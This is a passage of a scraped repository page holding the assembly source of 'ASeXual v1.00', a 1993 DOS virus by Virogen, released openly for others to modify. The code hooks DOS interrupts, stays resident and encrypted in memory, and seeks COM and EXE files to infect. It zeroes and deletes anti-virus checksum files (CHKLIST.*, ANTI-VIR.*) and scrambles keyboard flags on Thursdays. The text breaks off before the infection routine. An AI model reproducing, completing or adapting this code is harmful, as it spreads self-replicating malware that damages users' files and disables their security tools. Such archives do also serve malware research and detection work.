mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
790 lines
28 KiB
NASM
790 lines
28 KiB
NASM
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; ************************************************
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; ASeXuAl v1.00 - BY VIROGEN - 10-29-93
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; ************************************************
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; - Compatible with : TASM /m
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;
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; ASeXual v1.00
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
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;
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; Because of my ignorance I released the last version of ASeXual with
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; a MAJOR bug.. you would expierence very frequent system lockups not
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; to mention that infections of files in the root directory screwed them
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; all future generations.
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;
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; new in this version:
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; - Lockup bugs fixed!
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; - root directory infections fixed! (no longer infects spawning in root)
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; - spawning infections now return the correct return code from the EXE
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; - cosmetic changes
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; - no more error handler
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;
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; characteristics:
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; This virus is a memory resident parastic COM infector and spawning
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; EXE infector. It is mutative.. with only 2 bytes remain constant
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; in replicated copies, but none in constant relative locations to the start
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; of viral code or to each other. It infects up to 5 files in the
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; current directory which a program is executed or a new drive is selected.
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; It first searches out EXE hosts, and if there are none to be infected,
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; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
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; in the current directory are killed before any file is infected. This
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; virus is also kept encrypted in memory to prevent easy detection of it
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; there too. It's code is stored just below the 640k boundary. There
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; will be a decrease of about 5k of total system memory when this virus is
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; resident.
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;
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; activation:
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; This is a non-malicious virus and it's activation is simple.. On any
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; thursday it changes the keyboard flags (CTRL,ALT,L&RSHIFT,NUM LOCK,CAPS,
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; and SCROLL LOCK) constantly while it is memory resident. It does not
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; infect files on thursdays.
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;
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;
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; As always I'm releasing the full source code to this virus.. which means
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; you are free to make modifications to it. Just give credit where credit
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; is due and have phun..
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;
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segment cseg
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assume cs: cseg, ds: cseg,es: cseg
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signal equ 6bh ; Installation check
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reply equ 0fah ; reply to check
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max_inf equ 05 ; Maximum files to infect per run
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max_rotation equ 9 ; number of bytes in switch byte table
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parastic equ 01 ; Parastic infection
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spawn equ 00 ; Spawning infection
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heap_size equ 50h ; max heap size
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org 100h ; Leave room for PSP
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start:
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Encryption/Decryption routine location
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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fill_space :
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shit_space db 6 dup(0) ; help to keep TBAV warnings down
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address_fill: jmp non_res ; only in original compilation
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db 17 dup(0) ; MOV DI|SI placed here
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encrypt: ; For call from memory
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cx_fill db 20 dup(0) ; MOV CX,XXXX placed here
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xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here
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loop_fill db 10 dup(0) ; LOOP Placed Here
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enc_data:
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ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP
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jmp non_res ; jump to nonresident code
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; INT 21h - DOS function calls
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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new21 proc ; New INT 21H handler
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cmp ah, signal ; signaling us?
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jne no ; nope..
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mov ah,reply ; yep, give our offspring what he wants
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iret
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no:
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pushf ; Push flags
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push ax ; Push regs
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push bx
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push cx
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push dx
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push di
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push si
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push bp
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push ds
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push es
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push sp
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push ss
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cmp ah,0eh ; select disk?
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je infect_call ; yes.. let's infect
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cmp ax,4b00h ; exec?
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jne exit_21 ; nope.. don't infect shit
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cmp ch,0fbh ; Is our virus executing this prog?
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jne infect_call ; yes, return to orginal INT 21h
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exit_21:
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pop ss ; Pop regs
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pop sp
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pop es
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pop ds
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pop bp
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pop si
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pop di
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pop dx
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pop cx
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pop bx
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pop ax
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popf ; Pop flags
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end_21 :
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db 0eah ; jump to original int 21h
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old21_ofs dw 0 ; Offset of old INT 21H
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old21_seg dw 0 ; Seg of old INT 21h
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infect_call:
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mov ah,2ah ; get date
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int 21h
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cmp al,4 ; thursday?
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je chg_keyb
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mov ah,2fh ; Get DTA Address
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int 21h ;
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push cs
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pop ds
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push cs
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pop es
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mov word ptr old_dta,bx ; Save old dta offset
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mov word ptr old_dta+2,es ; /segment
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call encrypt_mem ; decrypt virus in memory
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call resident ; Call infection kernal
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call encrypt_mem ; encrypt virus in memory
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lds dx,dword ptr old_dta ; restore DTA segment/offset
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mov ah,1ah ;
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int 21h ;
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jmp exit_21
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chg_keyb:
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xor ax,ax
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mov es,ax
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mov dx,es: [416h] ; 0040:0016h - keyboard flags
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ror dx,1 ; rotate bits
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mov es: [416h],dx ; store new flags
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jmp exit_21
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new21 endp ; End of handler
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Encrypt/Decrypt - For memory encryption
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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encrypt_mem proc
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lea di,memory_encrypted
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mov cx,(offset vend-offset memory_encrypted)/2
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mem_xor_loop:
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db 81h,35h ; XOR word ptr [DI],
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xor_mem dw 0 ; XXXX : 0-5999
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inc di ; increment pointer
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inc di ; increment pointer
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loop mem_xor_loop ; loop..
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ret ; return
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encrypt_mem endp
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memory_encrypted: ; start encryption in memory here..
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; file pointer set
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
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offset_zero:
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xor al,al
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jmp set_fp
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offset_end:
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mov al,02h
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set_fp:
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mov ah,42h
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xor cx,cx
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xor dx,dx
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int 21h
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ret
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Clear ff/fn buf
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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clear_buf:
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mov word ptr fcb,0 ; Clear ff/fn buffer
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lea si, fcb
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lea di, fcb+2
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mov cx, 22
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rep movsw
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ret
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Findfirst
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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ff_func:
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call clear_buf ; Clear FCB
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mov ah, 4eh ; Findfirst
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xor cx, cx ; Set normal file attribute search
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mov dx, fname_off
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int 21h
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ret
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; Findnext
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|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
fn_func:
|
|||
|
|
|||
|
mov ah,4fh ; find next file
|
|||
|
int 21h ;
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Fills encryption/decryption routine
|
|||
|
;
|
|||
|
; call with AX=word to fill with
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
clear_encryptor:
|
|||
|
mov cx,78 ; 156 bytes
|
|||
|
lea di,fill_space ; beginning of null space
|
|||
|
fill_loop:
|
|||
|
stosw
|
|||
|
loop fill_loop ;
|
|||
|
|
|||
|
ret
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Resident - Main infection kernal
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
resident proc
|
|||
|
|
|||
|
; Set DTA address - This is for the
|
|||
|
mov ah, 1ah ; findfirst/findnext functions
|
|||
|
lea dx, fcb
|
|||
|
int 21h
|
|||
|
|
|||
|
mov byte ptr vtype,spawn ; infection type = spawning
|
|||
|
mov word ptr set_bp,0000 ; BP=0000 on load
|
|||
|
mov byte ptr inf_count,0 ; null infection count
|
|||
|
mov fname_off, offset spec ; Set search for CHKLIST.*
|
|||
|
mov word ptr mov_di,offset enc_data ; offset past encrypt.
|
|||
|
|
|||
|
cont_res:
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,2 ; keep track of which we've killed
|
|||
|
kill_another_spec:
|
|||
|
push cx
|
|||
|
|
|||
|
call ff_func ; find first
|
|||
|
|
|||
|
jc done_kill ; none found.. done
|
|||
|
kill_loop:
|
|||
|
mov ax,4301h ; Set file attributes to null
|
|||
|
xor cx,cx ;
|
|||
|
lea dx,f_name ;
|
|||
|
int 21h ;
|
|||
|
|
|||
|
mov ah,3ch ; create file = nullify size
|
|||
|
xor cx,cx ;
|
|||
|
lea dx,f_name ;
|
|||
|
int 21h ;
|
|||
|
push ax ; get handle
|
|||
|
pop bx ;
|
|||
|
|
|||
|
mov ah,3eh ; close file
|
|||
|
int 21h ;
|
|||
|
|
|||
|
mov ah,41h ; delete the file to finish 'er off
|
|||
|
lea dx,f_name ;
|
|||
|
int 21h ;
|
|||
|
call fn_func
|
|||
|
jnc kill_loop ; if more then kill 'em
|
|||
|
|
|||
|
done_kill:
|
|||
|
pop cx ; restore spec counter
|
|||
|
mov fname_off,offset spec2 ; new file spec to kill
|
|||
|
dec cx
|
|||
|
jz kill_another_spec ; have we already killed both?
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; start finding files to infect
|
|||
|
